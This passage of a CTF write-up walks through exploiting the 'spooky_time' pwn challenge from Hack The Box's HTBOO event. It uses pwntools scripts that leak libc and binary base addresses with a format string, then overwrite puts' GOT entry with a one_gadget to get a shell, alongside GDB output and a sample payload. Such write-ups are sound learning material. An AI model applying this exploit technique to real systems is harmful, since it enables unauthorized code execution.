   0x5555555550c4 <__cxa_finalize@plt+4> bnd    jmp QWORD PTR [rip+0x2d3d]        # 0x555555557e08
   0x5555555550cb <__cxa_finalize@plt+11> nop    DWORD PTR [rax+rax*1+0x0]
   0x5555555550d0 <puts@plt+0>     endbr64 
●→ 0x5555555550d4 <puts@plt+4>     bnd    jmp QWORD PTR [rip+0x2cc5]        # 0x555555557da0 <[email protected]>
   0x5555555550db <puts@plt+11>    nop    DWORD PTR [rax+rax*1+0x0]
   0x5555555550e0 <__stack_chk_fail@plt+0> endbr64 
   0x5555555550e4 <__stack_chk_fail@plt+4> bnd    jmp QWORD PTR [rip+0x2cbd]        # 0x555555557da8 <[email protected]>
   0x5555555550eb <__stack_chk_fail@plt+11> nop    DWORD PTR [rax+rax*1+0x0]
   0x5555555550f0 <printf@plt+0>   endbr64 
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "spooky_time", stopped 0x5555555550d4 in puts@plt (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x5555555550d4 → puts@plt()
[#1] 0x5555555554a6 → main()
────────────────────────────────────────────────────────────────────────────────

When we hit that breakpoint rdx is set to null which is good. Though r10 points to an address it seems to be the address that we can control with our input. Maybe we need to adjust our payload later but we could possibly get our one gadget to work so it’s about time we start to write some exploit code.

Gaining Access

Writing exploit code

What we need to do here is leak the address that helps us calculate the base address of libc. Then we need to leak an address that helps us calculate the base address of the spooky_time executable (since the GOT is relative to that). We found out earlier that these adresses are present on the stack as number 3 and 51. We can use a format string syntax to print argument 3 and 51 and feed that to the scanf. The payload should look like this %3$lx%51$lx.

Let’s use that payload and attach to gdb to see if we leak the right addresses. Here’s the first part of our exploit code:

from pwn import *

context.binary = elf = ELF('./spooky_time')
libc = context.binary.libc

#r = remote('206.189.117.93', 31424)
r = process('./spooky_time')
gdb.attach(r)

r.sendlineafter(b'scary!\n\n', '%3$lx%51$lx')
r.recvuntil(b'than \n')
libc.address = int(r.recvn(12), 16) - 1133111
elf.address = int(r.recvn(12), 16) - 0x13c0

print(hex(libc.address))
print(hex(elf.address))

Let’s try to run this code which will also open another windows with gdb attached to the process.

[~/Downloads/challenge]$ python3 exploit.py
[*] '/home/f1rstr3am/Downloads/challenge/spooky_time'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'./glibc/'
[*] '/home/f1rstr3am/Downloads/challenge/glibc/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process './spooky_time': pid 27316
[*] running in new terminal: ['/usr/bin/gdb', '-q', './spooky_time', '27316']
[+] Waiting for debugger: Done
/home/f1rstr3am/Downloads/challenge/exploit.py:10: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  r.sendlineafter(b'scary!\n\n', '%3$lx%51$lx')

In the GDB window that is opened we can use the vmmap command to check the base address of both LIBC and the execuatable.

gef➤  vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x0055db0c8a4000 0x0055db0c8a5000 0x00000000000000 r-- /home/f1rstr3am/Downloads/challenge/spooky_time
0x0055db0c8a5000 0x0055db0c8a6000 0x00000000001000 r-x /home/f1rstr3am/Downloads/challenge/spooky_time
0x0055db0c8a6000 0x0055db0c8a7000 0x00000000002000 r-- /home/f1rstr3am/Downloads/challenge/spooky_time
0x0055db0c8a7000 0x0055db0c8a8000 0x00000000002000 rw- /home/f1rstr3am/Downloads/challenge/spooky_time
0x007fa92e800000 0x007fa92e828000 0x00000000000000 r-- /home/f1rstr3am/Downloads/challenge/glibc/libc.so.6
0x007fa92e828000 0x007fa92e9bd000 0x00000000028000 r-x /home/f1rstr3am/Downloads/challenge/glibc/libc.so.6
0x007fa92e9bd000 0x007fa92ea15000 0x000000001bd000 r-- /home/f1rstr3am/Downloads/challenge/glibc/libc.so.6
0x007fa92ea15000 0x007fa92ea19000 0x00000000214000 r-- /home/f1rstr3am/Downloads/challenge/glibc/libc.so.6
0x007fa92ea19000 0x007fa92ea1b000 0x00000000218000 rw- /home/f1rstr3am/Downloads/challenge/glibc/libc.so.6
0x007fa92ea1b000 0x007fa92ea28000 0x00000000000000 rw- 
0x007fa92eb7b000 0x007fa92eb80000 0x00000000000000 rw- 
0x007fa92eb80000 0x007fa92eb82000 0x00000000000000 r-- /home/f1rstr3am/Downloads/challenge/glibc/ld-linux-x86-64.so.2
0x007fa92eb82000 0x007fa92ebac000 0x00000000002000 r-x /home/f1rstr3am/Downloads/challenge/glibc/ld-linux-x86-64.so.2
0x007fa92ebac000 0x007fa92ebb7000 0x0000000002c000 r-- /home/f1rstr3am/Downloads/challenge/glibc/ld-linux-x86-64.so.2
0x007fa92ebb8000 0x007fa92ebba000 0x00000000037000 r-- /home/f1rstr3am/Downloads/challenge/glibc/ld-linux-x86-64.so.2
0x007fa92ebba000 0x007fa92ebbc000 0x00000000039000 rw- /home/f1rstr3am/Downloads/challenge/glibc/ld-linux-x86-64.so.2
0x007ffebb2f9000 0x007ffebb31a000 0x00000000000000 rw- [stack]
0x007ffebb3db000 0x007ffebb3df000 0x00000000000000 r-- [vvar]
0x007ffebb3df000 0x007ffebb3e1000 0x00000000000000 r-x [vdso]
0xffffffffff600000 0xffffffffff601000 0x00000000000000 --x [vsyscall]

The executable has a base address of 0x0055db0c8a4000 and libc is loaded at 0x007fa92e800000. Now continue GDB.

gef➤  c
Continuing.

Program terminated with signal SIGKILL, Killed.
The program no longer exists.

Go back to the other window and check if the addresses we leaked are correct.

0x7fa92e800000
0x55db0c8a4000
[*] Stopped process './spooky_time' (pid 27316)

And they match pefectly with what we could see in GDB. Now let’s modify our code to overwrite the puts() address in the GOT with the address of that one gadget we found before.

from pwn import *

context.binary = elf = ELF('./spooky_time')
libc = context.binary.libc

#r = remote('206.189.117.93', 31424)
r = process('./spooky_time')

r.sendlineafter(b'scary!\n\n', '%3$lx%51$lx')
r.recvuntil(b'than \n')
libc.address = int(r.recvn(12), 16) - 1133111
elf.address = int(r.recvn(12), 16) - 5056
libc_one_gadget = libc.address + 0xebcf5

fmtstr_payload = fmtstr_payload(8, {elf.got['puts'] : libc_one_gadget})

r.sendlineafter(b'time..\n\n', fmtstr_payload)

r.interactive()

Writing to memory with format string payloads is not super complex but can be a bit annoying. You should read up on the theory behind it. We use some magic pwn tools one liners to help us with the calulations of the payload. I encourage you to read up about fmtstr_payload beore using it.

Using pwntools like this saves a lot of time. Just feed it with the address of puts within the got and the address of the one gadget and it will generate a payload looking something like this:

%245c%17$lln%8c%18$hhn%119c%19$hhn%11c%20$hhn%61c%21$hhn%50c%22$hhnaaaab\xa0\xed\xcb\x109V\x00\x00\xa3\xed\xcb\x109V\x00\x00\xa4\xed\xcb\x109V\x00\x00\xa5\xed\xcb\x109V\x00\x00\xa1\xed\xcb\x109V\x00\x00\xa2\xed\xcb\x109V\x00\x00

There’s a possibility that we have to adjust our payload so that the r10 register points to null bytes. But there’s also a chance that it will work right out of the box. Let’s just fire it of to see if it works.

HTBOO CTF

Well that works like a charm locally. Let’s try to exploit the remote stuff. This is the final exploit:

from pwn import *

context.binary = elf = ELF('./spooky_time')
libc = context.binary.libc

r = remote('172.17.0.3', 54362)

r.sendlineafter(b'scary!\n\n', '%3$lx%51$lx')
r.recvuntil(b'than \n')
libc.address = int(r.recvn(12), 16) - 1133111
elf.address = int(r.recvn(12), 16) - 5056
libc_one_gadget = libc.address + 0xebcf5

fmtstr_payload = fmtstr_payload(8, {elf.got['puts'] : libc_one_gadget})

r.sendlineafter(b'time..\n\n', fmtstr_payload)

r.interactive()

And when we fire it of we get this:

HTBOO CTF

BOOOM! We got ourselves a shell and there’s the flag laying around.

Summary

A big thank you to Hack The Box for another nice CTF. This was a one person per team CTF. I can say that I had a friend helping me out with the crypto stuff since that’s not really my ballpark. But with 5 new challenges every day I really had to push myself to finish all of them. Pwn takes time. At least for me. In the end I (representing Cybix) ended up in place 18 out of 6367 teams.

HTBOO CTF

Im a big fan of CTF:s being near real life. This one was not that realistic, but I get it. You can’t do beginner friendly pwn challenges after all. There’s some basics that’s not exploitable in modern systems that you need to understand first.

It is what it is. I solved some of the challenges in 30 seconds and some other (like this one) took many hours. You always learn something new no matter what. Im pretty sure some of my manual stuff in this writeup can be automated with pwn tools or something else. Tips are welcome!

Until next time, happy hacking!

/f1rstr3am

Christian

HTB THM